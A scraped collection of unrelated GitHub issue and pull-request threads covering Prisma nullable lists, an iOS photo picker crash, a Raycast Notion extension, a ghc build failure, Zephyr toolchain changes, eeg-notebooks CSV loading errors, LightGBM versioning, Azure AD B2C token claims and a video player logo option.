Default Engines Hash    : 461d6a05159055555eb7dfb337c9fb271cbd4d7e
Studio                  : 0.462.0

Any update on this?

The lack of support for String[]? creates unfortunate impedance mismatches between our API and database, which permits us to distinguish between null and []. Is it the opinion of the library maintainers that distinguishing between null and [] is not a legitimate use case? I have to admit to being confused here.

No, we agree but didn't have the capacity to fix that yet. Otherwise this bug report would have been closed as invalid.

@janpio we'd like to take a stab at fixing this ourselves. Can you give some pointers where in prisma-engines we should look/where this normalization of NULL -> empty array is happening?

I'm fairly sure this is also related to something I've experienced with relation to strictUndefinedChecks preview feature. Namely, Prisma.skip is valid in typing for a scalar list field during create/upsert, but when providing Prisma.skip, you get: TypeError: Cannot read properties of undefined (reading 'kind').
When I swapped Prisma.skip for a simple empty array ([]), I no longer got the error.


Photo Library Picker Bug / Issue

Hi folks,
when I open "Photo Library Picker" and close it before the images loaded / appears, the app crash because of deallocated picker.

Attempted to read an unowned reference but the object was already deallocated

Have anyone else this problem too?
Happy for a hint. :-)

@phr85 I'm currently facing the same issue. Did you ever find a solution?

Sorry for tagging you so quickly. It's resolved, for me at least.
The issue is that I was not calling alert.show() and so the alert was never handled properly and threw everything off.


[Notion] Population Relation Field with all related database pages.

Description
Ensures the relation field includes all the pages in the related database, not just the first 20 pages.
Fixes #11222.
Fixes #13324.

[x] I read the extension guidelines
[x] I read the documentation about publishing
[x] I ran npm run build and tested this distribution build in Raycast
[x] I checked that files in the assets folder are used by the extension itself
[x] I checked that assets used by the README are placed outside of the metadata folder

@thomaslombart
It's possible, but it would require entirely reworking how the property components are created.
I can do that if you'd like (it's overdue), but...

It's going to take a little while. I work 40+ hours a week right now.

It'd be amazing if I could get active feedback as I work.

It should definitely have its own PR.


Update video call

Update to the new Ui system
This update should include completion of the feature with ringtone and answer system

PR was closed. Video call is not priority in the metaverse, will instead use this time to work on VR integration


Also upgrade to nixpkgs 20.09

This should fix this error building ghc (that is currently breaking the eval of #2540):
rts/linker/PEi386.c:283:38: error:
     error: '__acrt_iob_func' undeclared here (not in a function); did you mean '__rts_iob_func'?
      283 | const void* __rts_iob_func = (void*)&__acrt_iob_func;
          |                                      ^~~~~~~~~~~~~~~
          |                                      __rts_iob_func
    |
283 | const void* __rts_iob_func = (void*)&__acrt_iob_func;
    |                                      ^
`x86_64-w64-mingw32-cc' failed in phase `C Compiler'. (Exit code: 1)
make[1]: *** [rts/ghc.mk:322: rts/dist/build/linker/PEi386.p_o] Error 1
make[1]: *** Waiting for unfinished jobs....
make: *** [Makefile:128: all] Error 2
builder for '/nix/store/b1j1lysc3ccwg7hl9y1shj09799zj7m4-x86_64-w64-mingw32-ghc-8.10.2.drv' failed with exit code 2

@hamishmack Thanks!


ARC: MWDT: rework GNU helper tools usage

As of today MWDT toolchain in case of Zephyr may use few tools from GNU toolchain - GNU compiler for DTS preprocessing and objcopy for section renaming.
Currently we were trying to find any GNU compiler & objcopy which start to cause compatibility issues for new targets - i.e. not every objcopy knows new ARC targets.
Let's use ARC GNU tools from Zephyr SDK as we still usually require it when building with MWDT for other tools like DTC (device tree compiler)
This require changes on the Zephyr SDK side: https://github.com/zephyrproject-rtos/sdk-ng/pull/677
NOTE: the Zephyr SDK required version need to be bumped (after https://github.com/zephyrproject-rtos/sdk-ng/pull/677 is merged)

@tejlmand thanks a lot for review!
Reusing CROSS_COMPILE from Zephyr's sdk target.cmake is really good idea. I've changed implementation as you've proposed.


Complete German translation before release of 0.8.0?

All user messages are localizable now, and the texts for English, Dutch and Russian are complete. There is also a German resource bundle, but this has not been updated.
@Joerg-Schoemer: You provided the German translations that we have now. Do you have time to add and check the texts (42 in total) so German is complete and correct again?

yes, I'can ;-)


how to visualize

Dear community:
My question goes to how to run the code in eegnb examples with this command "python viz". When I run that I have to change certain things inside the code of course. So I change 'eegnb_examples' for 'local' and 'muse2016' for 'muse2'. Still that doesn't make the trick. What shall I do further on?
File "01r__n170_viz.py", line 63, in
data_dir = eegnb_data_path)
File "/Users/andraderenew/Downloads/eeg-notebooks-master/eegnb/analysis/utils.py", line 163, in load_data
verbose=verbose,
File "/Users/andraderenew/Downloads/eeg-notebooks-master/eegnb/analysis/utils.py", line 84, in load_csv_as_raw
raws = concatenate_raws(raw, verbose=verbose)
File "", line 22, in concatenate_raws
File "/Users/andraderenew/opt/anaconda3/envs/eeg-notebooks/lib/python3.7/site-packages/mne/io/base.py", line 2465, in concatenate_raws
raws[0].append(raws[1:], preload)
IndexError: list index out of range

Hi there.
The problem seems to be that the script is not finding any recording files.
Are you wanting to run this on the eegnb example dataset or on your own recordings?
In either case, check that the file path being generated at the start of the script is indeed pointing to a folder with .csv files in on your Machine.

I want to run this on a file being recorded with eegnb although I don't know how to check the path is the correct one. Shall I print?

the issue for me here is that I can check tht output of these two lines by printing
eegnb_data_path = os.path.join(os.path.expanduser('~/'),'.eegnb', 'data')
n170_data_path = os.path.join(eegnb_data_path, 'visual-N170', 'local')
but not of this line
raw = load_data(subject,session,
experiment='visual-N170', site='eegnb_examples', device_name='muse2',
data_dir = eegnb_data_path)
this is something I don't know how it reads inside.
I attach the code I changed
eegnb_data_path = os.path.join(os.path.expanduser('~/'),'.eegnb', 'data')
n170_data_path = os.path.join(eegnb_data_path, 'visual-N170', 'local')
If dataset hasn't been downloaded yet, download it
if not os.path.isdir(n170_data_path):
fetch_dataset(data_dir=eegnb_data_path, experiment='visual-N170', site='eegnb_examples');
subject = 1
session = 1
raw = load_data(subject,session,
experiment='visual-N170', site='eegnb_examples', device_name='muse2',
data_dir = eegnb_data_path)
I don't know if I have to change 'eegnb_examples' to 'local'

I have tried with python console and I used local as well and nothing seems to work. It says it expects 6 arguments and saw 6.
raw = load_data(subject, session,  experiment='visual-N170',site='local',device_name='muse2', data_dir='~/.eegnb/data/')

Error tokenizing data. C error: Expected 6 fields in line 14, saw 7

Hi @andraderenew, reading through the parser error, I think this may be from the recorded .csv file... can you check the content of the .csv file on like 14 and see how many entries you have?

@oreHGA The reason is due to an unmarked Markers column, see: https://github.com/NeuroTechX/eeg-notebooks/issues/108

I added 14 zeros(which I figured is what could fix this correct me if I'm wrong) and now I have this error
Traceback (most recent call last):
File "01r__n170_viz.py", line 61, in
raw = load_data(subject,session,
File "/Users/andraderenew/eeg-notebooks/eegnb/analysis/utils.py", line 157, in load_data
return load_csv_as_raw(
File "/Users/andraderenew/eeg-notebooks/eegnb/analysis/utils.py", line 84, in load_csv_as_raw
raws = concatenate_raws(raw, verbose=verbose)
File "", line 22, in concatenate_raws
File "/Users/andraderenew/opt/anaconda3/lib/python3.8/site-packages/mne/io/base.py", line 2213, in concatenate_raws
raws[0].append(raws[1:], preload)
IndexError: list index out of range

Did you also add a header "Marker1" or such?
On Sun, Jun 20, 2021, 12:24 andraderenew @.***> wrote:

I added 14 zeros(which I figured is what could fix this correct me if I'm
wrong) and now I have this error
Traceback (most recent call last):
File "01r__n170_viz.py", line 61, in
raw = load_data(subject,session,
File "/Users/andraderenew/eeg-notebooks/eegnb/analysis/utils.py", line
157, in load_data
return load_csv_as_raw(
File "/Users/andraderenew/eeg-notebooks/eegnb/analysis/utils.py", line 84,
in load_csv_as_raw
raws = concatenate_raws(raw, verbose=verbose)
File "", line 22, in concatenate_raws
File
"/Users/andraderenew/opt/anaconda3/lib/python3.8/site-packages/mne/io/base.py",
line 2213, in concatenate_raws
raws[0].append(raws[1:], preload)
IndexError: list index out of range
—
You are receiving this because you commented.
Reply to this email directly, view it on GitHub
https://github.com/NeuroTechX/eeg-notebooks/issues/104#issuecomment-864531879,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/AAKXDOSQAI3HK3SUVSY44P3TTW6WRANCNFSM45IXBRFQ
.

sorry I didn't know, so now I did add it but I still have this error.
(eeg-notebooks) andraderenew@Renes-MacBook-Air visual_n170 % python viz
Traceback (most recent call last):
File "01r__n170_viz.py", line 63, in
data_dir = eegnb_data_path)
File "/Users/andraderenew/eeg-notebooks/eegnb/analysis/utils.py", line 163, in load_data
verbose=verbose,
File "/Users/andraderenew/eeg-notebooks/eegnb/analysis/utils.py", line 84, in load_csv_as_raw
raws = concatenate_raws(raw, verbose=verbose)
File "", line 22, in concatenate_raws
File "/Users/andraderenew/opt/anaconda3/envs/eeg-notebooks/lib/python3.7/site-packages/mne/io/base.py", line 2465, in concatenate_raws
raws[0].append(raws[1:], preload)
IndexError: list index out of range

Hi @andraderenew:
This error is pointing toward the file path not being specified correctly in the

What OS are you using?
Where does your recorded file live, by default it should be in the ~/.eegnb/ directory. Can you confirm you have recording files present in this directory?

Be sure that you have folders "subject0001" and "session001" in the data directory... this is what the subject and session value point to in the code below

Can you share a screenshot what your recording file looks like? (it helps if we're able to see the first 30 columns at least)

Finally in your code snippet for loading the data, can you ensure it looks like this & give it another run:
eegnb_data_path = os.path.join(os.path.expanduser('~/'),'.eegnb', 'data')
n170_data_path = os.path.join(eegnb_data_path, 'visual-N170', 'local')

# If dataset hasn't been downloaded yet, download it
if not os.path.isdir(n170_data_path):
    fetch_dataset(data_dir=eegnb_data_path, experiment='visual-N170', site='eegnb_examples');

subject = 1
session = 1
raw = load_data(subject,session,
                experiment='visual-N170', site='local', device_name='muse2',
                data_dir = eegnb_data_path)

On 2 Jul 2021, at 08:14, Ore Ogundipe @.***> wrote:
Hi @andraderenew https://github.com/andraderenew:
This error is pointing toward the file path not being specified correctly in the
What OS are you using?
Mac OS big sur 11.4

Where does your recorded file live, by default it should be in the ~/.eegnb/ directory. Can you confirm you have recording files present in this directory https://user-images.githubusercontent.com/13490968/124229045-dd395f00-dac1-11eb-8b00-152189d270c6.pngHere you have the screenshot
Be sure that you have folders "subject0001" and "session001" in the data directory... this is what the subject and session value point to in the code below
Can you share a screenshot what your recording file looks like? (it helps if we're able to see the first 30 columns at least)

Finally in your code snippet for loading the data, can you ensure it looks like this & give it another run:
eegnb_data_path = os.path.join(os.path.expanduser('~/'),'.eegnb', 'data')
n170_data_path = os.path.join(eegnb_data_path, 'visual-N170', 'local')
If dataset hasn't been downloaded yet, download it
if not os.path.isdir(n170_data_path):
fetch_dataset(data_dir=eegnb_data_path, experiment='visual-N170', site='eegnb_examples');
subject = 1
session = 1
raw = load_data(subject,session,
experiment='visual-N170', site='local', device_name='muse2',
data_dir = eegnb_data_path)

This is what I get using the code provided!!!
(eeg-notebooks) andraderenew@Renes-MacBook-Air visual_n170 % python viz
Traceback (most recent call last):
File "01r__n170_viz.py", line 63, in
data_dir = eegnb_data_path)
File "/Users/andraderenew/eeg-notebooks/eegnb/analysis/utils.py", line 163, in load_data
verbose=verbose,
File "/Users/andraderenew/eeg-notebooks/eegnb/analysis/utils.py", line 65, in load_csv_as_raw
ch_names = [list(data.columns)[i] for i in ch_ind] + ["stim"]
File "/Users/andraderenew/eeg-notebooks/eegnb/analysis/utils.py", line 65, in
ch_names = [list(data.columns)[i] for i in ch_ind] + ["stim"]
IndexError: list index out of range

—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub https://github.com/NeuroTechX/eeg-notebooks/issues/104#issuecomment-872745535, or unsubscribe https://github.com/notifications/unsubscribe-auth/AHRDBMPALE4QSUR752BH6NTTVVKLZANCNFSM45IXBRFQ.

Closing due to inactivity, let us know if you're still running into issues.


lightgbm.basic.LightGBMError: Tree model should contain num_cat field

Hi,
I try lots of things but got the same error. PLease guide me.
Thank You

Hi,
This is a version compatibility issue. I am trying to figure out with LightGBM developers how to address it and come back if solution is found. Meanwhile you can try older versions of LightGBM ~2.0.1

Please re-download download_models.py and run it as instructed in README. This downloads LightGBM models updated to recent version, and everything should work


Feature Checkboxes in details.html

So we can manually edit the features users are using.

Oops, this is the same as #78 ...


Original Identity Provider's claims

Will AAD B2C just pass the id_token through from the original IDP to the acquiring client application or it will returns its own token? If its own - will the 'sub' and 'iss' claims contain the original values coming from the original Identity Provider or they will be AAD B2C specific? I am trying to figure out whether users from original Identity Provider will still be 'known' to the acquiring application if it previously dealt with the original Identity Provider directly.

Document Details
⚠ Do not edit this section. It is required for docs.microsoft.com ➟ GitHub issue linking.

ID: 15942a1a-df5c-bbeb-a693-510aadede4b2
Version Independent ID: dd96db95-d230-9690-ab08-dfc6ceaff7f2
Content: Adding OpenID Connect identity providers in built-in policies in Azure Active Directory B2C
Content Source: articles/active-directory-b2c/active-directory-b2c-setup-oidc-idp.md
Service: active-directory
GitHub Login: @davidmu1
Microsoft Alias: davidmu

@Pikhulya Thanks for your feedback! We will investigate and update as appropriate.

From my understanding it is the original token. After authentication is completed and the token representing the user is sent to your application, OWIN middleware creates a session cookie. The browser then uses this cookie on subsequent requests so the user doesn't need to retype the password, and no additional verification is needed. @davidmu1 can you confirm?

Thanks for looking into this, would it be possible to get a definitive answer?

Adding @parakhj to help confirm?

The app will not get to know the social IDP's user ID if you're using the policies created through the portal. It is possible to configure this though via custom policies.
The other option is to look up the user object via the Graph API, and get the information from there (its stored under the property "userIdentities")

I don't believe there is a change required to the referenced article. If so, please close the issue.
#please-close

@Pikhulya We will now close this issue. If there are further questions regarding this matter, please reopen it and we will gladly continue the discussion.

Thanks @parakhj I've posted a question here:

I have created Azure AD Identity Provider and i am facing issue during login.When i am trying to delet the Identity Provider we are getting below error :
Failed to save identity provider. Reason : IdentityProvider with 'id': 'OIDC-V1-Microsoft_' cannot be found in the directory 'azureb2ccmo.onmicrosoft.com'.. CorrelationId: b08a440a-2c07-439e-86db-70a6f92ded0b
Open ID Connect Preview : "Microsoft & Partners"
App ID : d444e09a-6733-4540-a1a3-9973c15c9dd6
Please let me know what is the issue and how to delete and recreate the same.


Remove LICENSE.txt

Fixed in https://github.com/Capgemini/react-scaffold/commit/d1781705c3f00980d568d6b1714a465f2d968c05


No way to make the "Logo" appear always ?

While using the logo layout option I can't seem to make the logo appear always, intead it shows only when controls are shown which I don't want.
Is there a way to make the logo appear always ?
The only option I found was hideWithControls and no matter what value I give it, the logo still shows only when I hover the video player.

same here

Hi @chajo1997. I was able to recreate it, with in version 3.0.x and I’ve noticed that the bug was fixed in 3.1.0. So I would recommend updating. If that doesn’t fix it or you’re using a higher version, please share your config file and version that you’re using.

@chajo1997  - Can you please confirm if the comments by zento helped in resolving the issue

Since there is no response from the reporter, we are closing the ticket. We can open it again if there is any response. Thanks